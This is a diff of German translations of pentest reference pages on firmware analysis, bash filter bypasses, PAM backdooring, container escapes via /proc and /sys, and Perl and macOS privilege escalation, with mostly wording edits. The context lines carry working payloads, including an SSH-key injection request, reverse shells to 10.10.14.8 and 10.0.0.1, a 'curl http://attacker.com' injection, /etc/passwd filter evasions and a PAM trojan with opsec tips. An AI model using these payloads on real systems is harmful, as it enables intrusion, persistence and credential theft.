Wenn Sie mit diesen Tools nicht viel finden, überprüfen Sie die **Entropie** des Bildes mit `binwalk -E <bin>`. Wenn die Entropie niedrig ist, ist es unwahrscheinlich, dass es verschlüsselt ist. Bei hoher Entropie ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
|
||||
Wenn Sie mit diesen Tools nicht viel finden, überprüfen Sie die **Entropie** des Bildes mit `binwalk -E <bin>`. Bei niedriger Entropie ist es unwahrscheinlich, dass es verschlüsselt ist. Bei hoher Entropie ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
|
||||
|
||||
Darüber hinaus können Sie diese Tools verwenden, um **Dateien, die im Firmware eingebettet sind**, zu extrahieren:
|
||||
Darüber hinaus können Sie diese Tools verwenden, um **Dateien, die in der Firmware eingebettet sind**, zu extrahieren:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
@ -113,7 +113,7 @@ Die Dateien befinden sich danach im Verzeichnis "`squashfs-root`".
|
||||
|
||||
## Firmware-Analyse
|
||||
|
||||
Sobald die Firmware beschafft ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Tools zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
|
||||
Sobald die Firmware beschafft ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Werkzeuge zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
|
||||
|
||||
### Werkzeuge zur ersten Analyse
|
||||
|
||||
@ -126,7 +126,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während hohe Entropie auf mögliche Verschlüsselung oder Kompression hinweist.
|
||||
Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Eine niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während eine hohe Entropie auf mögliche Verschlüsselung oder Kompression hinweist.
|
||||
|
||||
Für das Extrahieren von **eingebetteten Dateien** werden Werkzeuge und Ressourcen wie die Dokumentation zu **file-data-carving-recovery-tools** und **binvis.io** zur Dateiansicht empfohlen.
|
||||
|
||||
@ -158,13 +158,13 @@ Mehrere Tools helfen dabei, sensible Informationen und Schwachstellen im Dateisy
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) für umfassende Firmware-Analysen
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) und [**EMBA**](https://github.com/e-m-b-a/emba) für statische und dynamische Analysen
|
||||
|
||||
### Sicherheitsprüfungen von kompilierten Binärdateien
|
||||
### Sicherheitsüberprüfungen von kompilierten Binärdateien
|
||||
|
||||
Sowohl Quellcode als auch kompilierte Binärdateien, die im Dateisystem gefunden werden, müssen auf Schwachstellen überprüft werden. Tools wie **checksec.sh** für Unix-Binärdateien und **PESecurity** für Windows-Binärdateien helfen dabei, ungeschützte Binärdateien zu identifizieren, die ausgenutzt werden könnten.
|
||||
|
||||
## Emulation von Firmware für dynamische Analysen
|
||||
|
||||
Der Prozess der Emulation von Firmware ermöglicht die **dynamische Analyse** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
|
||||
Der Prozess der Emulation von Firmware ermöglicht **dynamische Analysen** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie z. B. einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
|
||||
|
||||
### Emulation einzelner Binärdateien
|
||||
|
||||
@ -192,7 +192,7 @@ Tools wie [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysi
|
||||
|
||||
## Dynamische Analyse in der Praxis
|
||||
|
||||
In dieser Phase wird entweder eine reale oder emulierte Geräteumgebung für die Analyse verwendet. Es ist wichtig, den Shell-Zugriff auf das Betriebssystem und das Dateisystem aufrechtzuerhalten. Die Emulation kann die Hardware-Interaktionen möglicherweise nicht perfekt nachahmen, was gelegentliche Neustarts der Emulation erforderlich macht. Die Analyse sollte das Dateisystem erneut überprüfen, exponierte Webseiten und Netzwerkdienste ausnutzen und Bootloader-Schwachstellen erkunden. Firmware-Integritätstests sind entscheidend, um potenzielle Backdoor-Schwachstellen zu identifizieren.
|
||||
In diesem Stadium wird entweder eine reale oder emulierte Geräteumgebung für die Analyse verwendet. Es ist wichtig, den Shell-Zugriff auf das Betriebssystem und das Dateisystem aufrechtzuerhalten. Die Emulation kann die Hardware-Interaktionen möglicherweise nicht perfekt nachahmen, was gelegentliche Neustarts der Emulation erforderlich macht. Die Analyse sollte das Dateisystem erneut überprüfen, exponierte Webseiten und Netzwerkdienste ausnutzen und Bootloader-Schwachstellen erkunden. Firmware-Integritätstests sind entscheidend, um potenzielle Backdoor-Schwachstellen zu identifizieren.
|
||||
|
||||
## Laufzeitanalyse-Techniken
|
||||
|
||||
@ -208,7 +208,7 @@ Betriebssysteme wie [AttifyOS](https://github.com/adi0x90/attifyos) und [EmbedOS
|
||||
|
||||
## Vorbereitete OSs zur Analyse von Firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen helfen soll, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen hilft, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Eingebettetes Sicherheitstestbetriebssystem basierend auf Ubuntu 18.04, vorinstalliert mit Tools für die Sicherheitstests von Firmware.
|
||||
|
||||
## Firmware-Downgrade-Angriffe & Unsichere Aktualisierungsmechanismen
|
||||
@ -218,23 +218,23 @@ Selbst wenn ein Anbieter kryptografische Signaturprüfungen für Firmware-Images
|
||||
Typischer Angriffsablauf:
|
||||
|
||||
1. **Erhalten Sie ein älteres signiertes Image**
|
||||
* Laden Sie es von dem öffentlichen Download-Portal, CDN oder Support-Website des Anbieters herunter.
|
||||
* Laden Sie es von dem öffentlichen Download-Portal des Anbieters, CDN oder Support-Website herunter.
|
||||
* Extrahieren Sie es aus begleitenden mobilen/desktopp Anwendungen (z. B. innerhalb einer Android-APK unter `assets/firmware/`).
|
||||
* Holen Sie es aus Drittanbieter-Repositories wie VirusTotal, Internet-Archiven, Foren usw.
|
||||
2. **Laden Sie das Image auf das Gerät hoch oder stellen Sie es bereit** über jeden exponierten Aktualisierungskanal:
|
||||
2. **Laden Sie das Image auf das Gerät hoch oder stellen Sie es bereit** über einen beliebigen exponierten Aktualisierungskanal:
|
||||
* Web-UI, mobile-App-API, USB, TFTP, MQTT usw.
|
||||
* Viele Verbraucher-IoT-Geräte bieten *unauthentifizierte* HTTP(S)-Endpunkte, die Base64-kodierte Firmware-Blobs akzeptieren, diese serverseitig decodieren und die Wiederherstellung/Aktualisierung auslösen.
|
||||
3. Nach dem Downgrade eine Schwachstelle ausnutzen, die in der neueren Version gepatcht wurde (zum Beispiel einen Befehlseinschleusungsfilter, der später hinzugefügt wurde).
|
||||
3. Nach dem Downgrade eine Schwachstelle ausnutzen, die in der neueren Version gepatcht wurde (zum Beispiel einen Befehlseinschlussfilter, der später hinzugefügt wurde).
|
||||
4. Optional das neueste Image zurückflashen oder Updates deaktivieren, um eine Entdeckung zu vermeiden, sobald Persistenz erreicht ist.
|
||||
|
||||
### Beispiel: Befehlseinschleusung nach Downgrade
|
||||
### Beispiel: Befehlseinschluss nach Downgrade
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
In der verwundbaren (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärung eingefügt, was die Injektion beliebiger Befehle ermöglicht (hier – Aktivierung des SSH-Schlüssel-basierten Root-Zugriffs). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung wirkungslos.
|
||||
In der verwundbaren (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärbehandlung verkettet, was die Injektion beliebiger Befehle ermöglicht (hier – Aktivierung des SSH-Schlüssels für den Root-Zugriff). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung bedeutungslos.
|
||||
|
||||
### Extrahieren von Firmware aus mobilen Apps
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Umgehung von Pfaden und verbotenen Wörtern
|
||||
### Bypass-Pfade und verbotene Wörter
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
@ -110,7 +110,7 @@ uname!-1\-a # This equals to uname -a
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Bypass-Pipes
|
||||
### Pipes umgehen
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
@ -144,7 +144,7 @@ Sie könnten **burpcollab** oder [**pingb**](http://pingb.in) verwenden, zum Bei
|
||||
|
||||
### Builtins
|
||||
|
||||
Falls Sie keine externen Funktionen ausführen können und nur Zugriff auf eine **begrenzte Menge an Builtins haben, um RCE zu erhalten**, gibt es einige nützliche Tricks, um dies zu tun. Normalerweise **werden Sie nicht in der Lage sein, alle** der **Builtins** zu verwenden, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Jail zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
|
||||
Falls Sie keine externen Funktionen ausführen können und nur Zugriff auf eine **begrenzte Menge an Builtins haben, um RCE zu erhalten**, gibt es einige nützliche Tricks, um dies zu tun. Normalerweise **werden Sie nicht alle** der **Builtins verwenden können**, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Jail zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
|
||||
Zuerst überprüfen Sie alle [**Shell Builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Hier sind einige **Empfehlungen**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
@ -202,7 +202,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Umgehung potenzieller Regexe
|
||||
### Umgehung potenzieller Regexes
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
@ -310,9 +310,9 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
## Space-Based Bash NOP Sled ("Bashsledding")
|
||||
|
||||
Wenn eine Schwachstelle es Ihnen ermöglicht, ein Argument teilweise zu kontrollieren, das letztendlich `system()` oder eine andere Shell erreicht, wissen Sie möglicherweise nicht den genauen Offset, an dem die Ausführung beginnt, Ihre Nutzlast zu lesen. Traditionelle NOP-Sleds (z. B. `\x90`) funktionieren in der Shell-Syntax **nicht**, aber Bash ignoriert harmlos führende Leerzeichen, bevor ein Befehl ausgeführt wird.
|
||||
Wenn eine Schwachstelle es Ihnen ermöglicht, ein Argument teilweise zu kontrollieren, das letztendlich `system()` oder eine andere Shell erreicht, wissen Sie möglicherweise nicht den genauen Offset, an dem die Ausführung beginnt, Ihre Payload zu lesen. Traditionelle NOP-Sleds (z. B. `\x90`) funktionieren in der Shell-Syntax **nicht**, aber Bash ignoriert harmlos führende Leerzeichen, bevor ein Befehl ausgeführt wird.
|
||||
|
||||
Daher können Sie einen *NOP sled für Bash* erstellen, indem Sie Ihren echten Befehl mit einer langen Folge von Leerzeichen oder Tabulatorzeichen voranstellen:
|
||||
Daher können Sie ein *NOP sled für Bash* erstellen, indem Sie Ihren echten Befehl mit einer langen Folge von Leerzeichen oder Tabulatorzeichen voranstellen:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
@ -333,7 +333,7 @@ Praktische Anwendungsfälle:
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
|
||||
@ -44,11 +44,11 @@ Steuerungen bestimmen die Reaktion des Moduls auf Erfolg oder Misserfolg und bee
|
||||
|
||||
#### Beispiel-Szenario
|
||||
|
||||
In einer Konfiguration mit mehreren Auth-Modulen folgt der Prozess einer strengen Reihenfolge. Wenn das `pam_securetty`-Modul das Anmelde-Terminal als unbefugt erkennt, werden Root-Anmeldungen blockiert, dennoch werden alle Module aufgrund des "required"-Status weiterhin verarbeitet. Das `pam_env` setzt Umgebungsvariablen, die möglicherweise die Benutzererfahrung unterstützen. Die Module `pam_ldap` und `pam_unix` arbeiten zusammen, um den Benutzer zu authentifizieren, wobei `pam_unix` versucht, ein zuvor angegebenes Passwort zu verwenden, was die Effizienz und Flexibilität der Authentifizierungsmethoden erhöht.
|
||||
In einer Konfiguration mit mehreren Auth-Modulen folgt der Prozess einer strengen Reihenfolge. Wenn das `pam_securetty`-Modul das Anmelde-Terminal als unautorisiert erkennt, werden Root-Anmeldungen blockiert, dennoch werden alle Module aufgrund des "required"-Status weiterhin verarbeitet. Das `pam_env` setzt Umgebungsvariablen, die möglicherweise die Benutzererfahrung unterstützen. Die Module `pam_ldap` und `pam_unix` arbeiten zusammen, um den Benutzer zu authentifizieren, wobei `pam_unix` versucht, ein zuvor angegebenes Passwort zu verwenden, was die Effizienz und Flexibilität der Authentifizierungsmethoden erhöht.
|
||||
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
Ein klassischer Persistenztrick in hochgradig wertvollen Linux-Umgebungen besteht darin, die **legitime PAM-Bibliothek durch ein trojanisches Drop-in zu ersetzen**. Da jede SSH-/Konsolenanmeldung letztendlich `pam_unix.so:pam_sm_authenticate()` aufruft, genügen ein paar Zeilen C, um Anmeldeinformationen zu erfassen oder einen *magischen* Passwort-Bypass zu implementieren.
|
||||
Ein klassischer Persistenztrick in wertvollen Linux-Umgebungen besteht darin, die legitime PAM-Bibliothek mit einem trojanisierten Drop-in **auszutauschen**. Da jede SSH-/Konsolenanmeldung letztendlich `pam_unix.so:pam_sm_authenticate()` aufruft, genügen ein paar Zeilen C, um Anmeldeinformationen zu erfassen oder einen *magischen* Passwort-Bypass zu implementieren.
|
||||
|
||||
### Kompilierungs-Spickzettel
|
||||
```c
|
||||
@ -93,7 +93,7 @@ touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
### OpSec Tipps
|
||||
1. **Atomare Überschreibung** – schreibe in eine temporäre Datei und `mv` sie an den Platz, um halbgeschriebene Bibliotheken zu vermeiden, die SSH sperren würden.
|
||||
2. Die Platzierung von Protokolldateien wie `/usr/bin/.dbus.log` vermischt sich mit legitimen Desktop-Artefakten.
|
||||
3. Halte die Symbolexporte identisch (`pam_sm_setcred`, usw.), um Fehlverhalten von PAM zu vermeiden.
|
||||
3. Halte die Symbolexporte identisch (`pam_sm_setcred` usw.), um Fehlverhalten von PAM zu vermeiden.
|
||||
|
||||
### Erkennung
|
||||
* Vergleiche MD5/SHA256 von `pam_unix.so` mit dem Distro-Paket.
|
||||
|
||||
@ -16,7 +16,7 @@ Dieses Verzeichnis erlaubt den Zugriff zur Modifikation von Kernel-Variablen, no
|
||||
|
||||
- Beschrieben in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Wenn Sie in diese Datei schreiben können, ist es möglich, eine Pipe `|` gefolgt von dem Pfad zu einem Programm oder Skript zu schreiben, das nach einem Absturz ausgeführt wird.
|
||||
- Ein Angreifer kann den Pfad innerhalb des Hosts zu seinem Container ermitteln, indem er `mount` ausführt, und den Pfad zu einer Binärdatei im Dateisystem seines Containers schreiben. Dann kann er ein Programm zum Absturz bringen, um den Kernel dazu zu bringen, die Binärdatei außerhalb des Containers auszuführen.
|
||||
- Ein Angreifer kann den Pfad innerhalb des Hosts zu seinem Container ermitteln, indem er `mount` ausführt, und den Pfad zu einer Binärdatei innerhalb seines Container-Dateisystems schreiben. Dann kann er ein Programm zum Absturz bringen, um den Kernel dazu zu bringen, die Binärdatei außerhalb des Containers auszuführen.
|
||||
|
||||
- **Test- und Ausbeutungsbeispiel**:
|
||||
```bash
|
||||
@ -50,7 +50,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Überprüfen des Zugriffs auf modprobe
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Referenziert in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Ein globales Flag, das steuert, ob der Kernel bei einem OOM-Zustand einen Panic auslöst oder den OOM-Killer aufruft.
|
||||
- Ein globales Flag, das steuert, ob der Kernel panikt oder den OOM-Killer aufruft, wenn eine OOM-Bedingung auftritt.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
@ -63,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Überprüfen des Zugriffs auf modprobe
|
||||
- Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist.
|
||||
- Relevanter Exploit und Erklärung:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Ausführliches Tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- Detailliertes Tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Andere in `/proc`
|
||||
|
||||
@ -75,7 +75,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Überprüfen des Zugriffs auf modprobe
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
- Ermöglicht das Auslösen von Sysrq-Befehlen, was sofortige Systemneustarts oder andere kritische Aktionen verursachen kann.
|
||||
- **Beispiel für Neustart des Hosts**:
|
||||
- **Neustart des Hosts Beispiel**:
|
||||
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Neustart des Hosts
|
||||
@ -88,10 +88,10 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Listet exportierte Symbole des Kernels und deren Adressen auf.
|
||||
- Listet vom Kernel exportierte Symbole und deren Adressen auf.
|
||||
- Essentiell für die Entwicklung von Kernel-Exploits, insbesondere zum Überwinden von KASLR.
|
||||
- Adressinformationen sind eingeschränkt, wenn `kptr_restrict` auf `1` oder `2` gesetzt ist.
|
||||
- Einzelheiten in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
@ -102,7 +102,7 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- Stellt den physischen Speicher des Systems im ELF-Core-Format dar.
|
||||
- Das Lesen kann Inhalte des Hosts und anderer Container offenbaren.
|
||||
- Das Lesen kann Inhalte des Host-Systems und anderer Container offenbaren.
|
||||
- Große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen.
|
||||
- Detaillierte Nutzung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
@ -131,8 +131,8 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
- Wird zur Handhabung von Kernel-Gerät `uevents` verwendet.
|
||||
- Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen.
|
||||
- **Beispiel für Ausnutzung**:
|
||||
- Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösern ausführen.
|
||||
- **Beispiel für die Ausnutzung**:
|
||||
```bash
|
||||
|
||||
#### Creates a payload
|
||||
@ -294,8 +294,8 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent
|
||||
```text
|
||||
/run/containerd/containerd.sock # containerd CRI-Socket
|
||||
/var/run/crio/crio.sock # CRI-O Runtime-Socket
|
||||
/run/podman/podman.sock # Podman API (root oder rootlos)
|
||||
/run/buildkit/buildkitd.sock # BuildKit-Daemon (root)
|
||||
/run/podman/podman.sock # Podman API (rootful oder rootless)
|
||||
/run/buildkit/buildkitd.sock # BuildKit-Daemon (rootful)
|
||||
/var/run/kubelet.sock # Kubelet API auf Kubernetes-Knoten
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
```
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Über die Umgebungsvariable `PERL5OPT` & `PERL5LIB`
|
||||
|
||||
Mit der Umgebungsvariable **`PERL5OPT`** ist es möglich, dass **Perl** willkürliche Befehle ausführt, wenn der Interpreter startet (sogar **bevor** die erste Zeile des Zielskripts geparst wird).
|
||||
Mit der Umgebungsvariable **`PERL5OPT`** ist es möglich, dass **Perl** willkürliche Befehle ausführt, wenn der Interpreter startet (sogar **bevor** die erste Zeile des Zielskripts analysiert wird).
|
||||
Zum Beispiel, erstellen Sie dieses Skript:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
@ -35,11 +35,11 @@ export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # wird eine Shell öffnen, bevor das Skript ausgeführt wird
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – unter Windows steuert diese Variable, welches Shell-Executable Perl verwenden wird, wenn es eine Shell starten muss. Sie wird hier nur der Vollständigkeit halber erwähnt, da sie unter macOS nicht relevant ist.
|
||||
* **`PERL5SHELL`** – unter Windows steuert diese Variable, welches Shell-Executable Perl verwendet, wenn es eine Shell starten muss. Sie wird hier nur der Vollständigkeit halber erwähnt, da sie unter macOS nicht relevant ist.
|
||||
|
||||
Obwohl `PERL5DB` den `-d` Schalter erfordert, ist es üblich, Wartungs- oder Installationsskripte zu finden, die als *root* mit diesem Flag aktiviert für ausführliche Fehlersuche ausgeführt werden, wodurch die Variable ein gültiger Eskalationsvektor wird.
|
||||
Obwohl `PERL5DB` den `-d` Schalter erfordert, ist es üblich, Wartungs- oder Installationsskripte zu finden, die als *root* mit diesem Flag aktiviert für ausführliche Fehlersuche ausgeführt werden, was die Variable zu einem gültigen Eskalationsvektor macht.
|
||||
|
||||
## Über Abhängigkeiten (@INC-Missbrauch)
|
||||
## Über Abhängigkeiten (@INC Missbrauch)
|
||||
|
||||
Es ist möglich, den Include-Pfad aufzulisten, den Perl durchsuchen wird (**`@INC`**), indem Sie Folgendes ausführen:
|
||||
```bash
|
||||
@ -60,13 +60,13 @@ Typische Ausgaben auf macOS 13/14 sehen folgendermaßen aus:
|
||||
Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch existiert **`/Library/Perl/5.30`**, ist *nicht* durch SIP geschützt und befindet sich *vor* den SIP-geschützten Ordnern. Daher, wenn Sie als *root* schreiben können, können Sie ein bösartiges Modul (z.B. `File/Basename.pm`) ablegen, das *bevorzugt* von jedem privilegierten Skript, das dieses Modul importiert, geladen wird.
|
||||
|
||||
> [!WARNING]
|
||||
> Sie benötigen weiterhin **root**, um in `/Library/Perl` zu schreiben, und macOS zeigt ein **TCC**-Prompt an, das nach *Vollzugriff auf das Laufwerk* für den Prozess fragt, der die Schreiboperation durchführt.
|
||||
> Sie benötigen immer noch **root**, um in `/Library/Perl` zu schreiben, und macOS zeigt ein **TCC**-Prompt an, das nach *Vollzugriff auf das Laufwerk* für den Prozess fragt, der die Schreiboperation durchführt.
|
||||
|
||||
Wenn beispielsweise ein Skript **`use File::Basename;`** importiert, wäre es möglich, `/Library/Perl/5.30/File/Basename.pm` zu erstellen, das vom Angreifer kontrollierten Code enthält.
|
||||
Wenn ein Skript beispielsweise **`use File::Basename;`** importiert, wäre es möglich, `/Library/Perl/5.30/File/Basename.pm` zu erstellen, das vom Angreifer kontrollierten Code enthält.
|
||||
|
||||
## SIP-Umgehung über den Migrationsassistenten (CVE-2023-32369 “Migraine”)
|
||||
|
||||
Im Mai 2023 gab Microsoft **CVE-2023-32369** bekannt, mit dem Spitznamen **Migraine**, eine Post-Exploitation-Technik, die es einem *root*-Angreifer ermöglicht, den **System Integrity Protection (SIP)** vollständig zu **umgehen**.
|
||||
Im Mai 2023 gab Microsoft **CVE-2023-32369** bekannt, mit dem Spitznamen **Migraine**, eine Post-Exploitation-Technik, die es einem *root*-Angreifer ermöglicht, **System Integrity Protection (SIP)** vollständig **zu umgehen**.
|
||||
Die verwundbare Komponente ist **`systemmigrationd`**, ein Daemon mit der Berechtigung **`com.apple.rootless.install.heritable`**. Jeder von diesem Daemon erzeugte Kindprozess erbt die Berechtigung und läuft daher **außerhalb** der SIP-Beschränkungen.
|
||||
|
||||
Unter den von den Forschern identifizierten Kindern befindet sich der von Apple signierte Interpreter:
|
||||
@ -88,7 +88,7 @@ Apple hat das Problem in macOS **Ventura 13.4**, **Monterey 12.6.6** und **Big S
|
||||
## Empfehlungen zur Härtung
|
||||
|
||||
1. **Gefährliche Variablen löschen** – privilegierte launchdaemons oder Cron-Jobs sollten mit einer sauberen Umgebung gestartet werden (`launchctl unsetenv PERL5OPT`, `env -i` usw.).
|
||||
2. **Vermeiden Sie es, Interpreter als root auszuführen**, es sei denn, es ist unbedingt erforderlich. Verwenden Sie kompilierte Binärdateien oder entziehen Sie frühzeitig die Berechtigungen.
|
||||
2. **Vermeiden Sie es, Interpreter als root auszuführen**, es sei denn, es ist unbedingt notwendig. Verwenden Sie kompilierte Binärdateien oder entziehen Sie frühzeitig die Berechtigungen.
|
||||
3. **Vendor-Skripte mit `-T` (Taint-Modus)**, damit Perl `PERL5OPT` und andere unsichere Schalter ignoriert, wenn die Taint-Prüfung aktiviert ist.
|
||||
4. **Halten Sie macOS auf dem neuesten Stand** – “Migraine” ist in den aktuellen Versionen vollständig gepatcht.
|
||||
|
||||
|
||||
@ -68,11 +68,11 @@ Zero Configuration Networking, bereitgestellt von Bonjour, stellt sicher, dass G
|
||||
|
||||
Geräte, die Bonjour verwenden, weisen sich selbst eine **IP-Adresse aus dem Bereich 169.254/16** zu und überprüfen deren Einzigartigkeit im Netzwerk. Macs führen einen Routingtabelleneintrag für dieses Subnetz, der über `netstat -rn | grep 169` überprüft werden kann.
|
||||
|
||||
Für DNS verwendet Bonjour das **Multicast DNS (mDNS)-Protokoll**. mDNS arbeitet über **Port 5353/UDP** und verwendet **Standard-DNS-Abfragen**, die jedoch an die **Multicast-Adresse 224.0.0.251** gerichtet sind. Dieser Ansatz stellt sicher, dass alle hörenden Geräte im Netzwerk die Abfragen empfangen und darauf reagieren können, was die Aktualisierung ihrer Einträge erleichtert.
|
||||
